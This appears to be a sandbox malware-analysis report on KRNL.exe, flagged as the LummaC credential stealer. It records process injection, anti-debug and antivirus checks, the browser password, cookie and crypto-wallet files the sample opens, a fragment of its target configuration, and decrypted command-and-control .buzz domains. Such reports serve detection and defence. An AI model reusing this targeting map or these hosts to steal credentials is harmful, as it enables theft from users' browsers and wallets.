Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\.ms-ad	Jump to behavior

Source: KRNL.exe, 00000002.00000003.1976890658.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1751999595.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1765441778.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1976367913.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915821353.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1821869308.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915718328.000000000332C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\KRNL.exe

API call chain: ExitProcess graph end node

graph_2-33932

Source: C:\Users\user\Desktop\KRNL.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\KRNL.exe

Code function: 2_2_0043CD20 LdrInitializeThunk,

2_2_0043CD20

Source: C:\Users\user\Desktop\KRNL.exe

Code function: 0_2_006EF8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_006EF8E9

Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_0071A19E mov edi, dword ptr fs:[00000030h]	0_2_0071A19E
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_006E1FB0 mov edi, dword ptr fs:[00000030h]	0_2_006E1FB0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_006E1FB0 mov edi, dword ptr fs:[00000030h]	2_2_006E1FB0

Source: C:\Users\user\Desktop\KRNL.exe

Code function: 0_2_006FD8E0 GetProcessHeap,

0_2_006FD8E0

Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_006EF52D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_006EF52D
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_006EF8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_006EF8E9
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_006EF8DD SetUnhandledExceptionFilter,	0_2_006EF8DD
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_006F7E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_006F7E30
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_006EF52D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_006EF52D
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_006EF8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_006EF8E9
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_006EF8DD SetUnhandledExceptionFilter,	2_2_006EF8DD
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_006F7E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_006F7E30

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\KRNL.exe

Code function: 0_2_0071A19E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0071A19E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\KRNL.exe

Memory written: C:\Users\user\Desktop\KRNL.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: KRNL.exe, 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: KRNL.exe, 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: KRNL.exe, 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: KRNL.exe, 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: KRNL.exe, 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: KRNL.exe, 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: KRNL.exe, 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: KRNL.exe, 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: KRNL.exe, 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\KRNL.exe

Process created: C:\Users\user\Desktop\KRNL.exe "C:\Users\user\Desktop\KRNL.exe"

Jump to behavior

Source: C:\Users\user\Desktop\KRNL.exe	Code function: EnumSystemLocalesW,	0_2_006FD1BD
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00701287
Source: C:\Users\user\Desktop\KRNL.exe	Code function: EnumSystemLocalesW,	0_2_007014D8
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00701580
Source: C:\Users\user\Desktop\KRNL.exe	Code function: EnumSystemLocalesW,	0_2_007017D3
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetLocaleInfoW,	0_2_00701840
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetLocaleInfoW,	0_2_00701960
Source: C:\Users\user\Desktop\KRNL.exe	Code function: EnumSystemLocalesW,	0_2_00701915
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00701A07
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetLocaleInfoW,	0_2_00701B0D
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetLocaleInfoW,	0_2_006FCC15
Source: C:\Users\user\Desktop\KRNL.exe	Code function: EnumSystemLocalesW,	2_2_006FD1BD
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00701287
Source: C:\Users\user\Desktop\KRNL.exe	Code function: EnumSystemLocalesW,	2_2_007014D8
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00701580
Source: C:\Users\user\Desktop\KRNL.exe	Code function: EnumSystemLocalesW,	2_2_007017D3
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetLocaleInfoW,	2_2_00701840
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetLocaleInfoW,	2_2_00701960
Source: C:\Users\user\Desktop\KRNL.exe	Code function: EnumSystemLocalesW,	2_2_00701915
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_00701A07
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetLocaleInfoW,	2_2_00701B0D
Source: C:\Users\user\Desktop\KRNL.exe	Code function: GetLocaleInfoW,	2_2_006FCC15

Source: C:\Users\user\Desktop\KRNL.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\KRNL.exe

Code function: 0_2_006F00B4 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_006F00B4

Source: C:\Users\user\Desktop\KRNL.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: KRNL.exe, 00000002.00000003.1976890658.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1765217238.0000000003342000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1765441778.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1976367913.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915821353.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1821869308.0000000003383000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\KRNL.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: KRNL.exe PID: 2120, type: MEMORYSTR
Source: Yara match	File source: 2.2.KRNL.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.KRNL.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: KRNL.exe, 00000002.00000003.1751999595.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: KRNL.exe, 00000002.00000003.1751999595.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: KRNL.exe, 00000002.00000003.1751999595.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: KRNL.exe, 00000002.00000003.1751999595.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: KRNL.exe, 00000002.00000003.1751999595.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: KRNL.exe, 00000002.00000003.1765127023.00000000033CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: KRNL.exe, 00000002.00000003.1751999595.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: KRNL.exe, 00000002.00000003.1765127023.00000000033CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\walletsl
Source: KRNL.exe, 00000002.00000003.1751999595.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""]

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
